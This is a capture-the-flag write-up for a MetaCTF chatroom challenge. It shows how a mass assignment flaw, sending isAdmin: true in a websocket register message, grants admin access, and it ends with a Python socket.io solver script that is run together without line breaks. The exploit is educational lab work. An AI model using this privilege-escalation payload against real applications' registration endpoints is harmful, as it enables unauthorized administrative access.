This challenge presents a chatroom application with a mass assignment vulnerability, allowing anyone to register an administrative user.
When first approaching this challenge, I started by examining the application structure:
Since the challenge is black box, there are no files to examine, meaning we have to interact with the site to find the vulnerability.
When looking around the site, the first thing that is seen is the main chat room window. By opening Inspect element, we can see the imported websocket library in the head tag. This means we should open the Network tab and look at the websocket requests
Looking at the requests, we can see that username is being is, in addition to an isAdmin flag, which might be important to become an admin.
Example of chatroom traffic: 42["data",{"user":"TungTungTungSahur","msg":"Gangnam style","isAdmin":false,"image":"static/images/TungTungTungSahur.png"}]
Additionally, when we try to register a user, we get rejected since only admins are allowed to be registered. By looking at the traffic, we can see that 'username' and 'password' fields are being passed.
Example of registration traffic: 42["register",{"username":"s","password":"a"}]
With everything that we know, a possible vulnerability could be mass assignment through the isAdmin parameter.
Through a proxy (like BurpSuite) or through a script, we send a request of
["register",{"username":"s","password":"a", "isAdmin": True}]
which returns a redirect to the admin page. When we access the admin page, we are greeted with the flag.
#!/usr/bin/env python3import socketioimport requestsimport resio = socketio.Client()url = None# Regex for flagdef getFlag(url): response = requests.get(url) flag = re.search(r'MetaCTF\{[^}]+\}', response.text) print(f"Flag: {flag.group(0)}")#@sio.on('action_response')def on_response(data): redirect = data['redirect'] sio.disconnect() getFlag(url + redirect)def main(): global url url = input("Whats the url?: ") if url.startswith("http://") or url.startswith("https://"): sio.connect(url) sio.emit('register', { 'username': 'admin', 'password': 'secret', 'isAdmin': True }) sio.wait() else: print("Error: Please add full url.\nEx: http://localhost:5000")if __name__ == "__main__": main()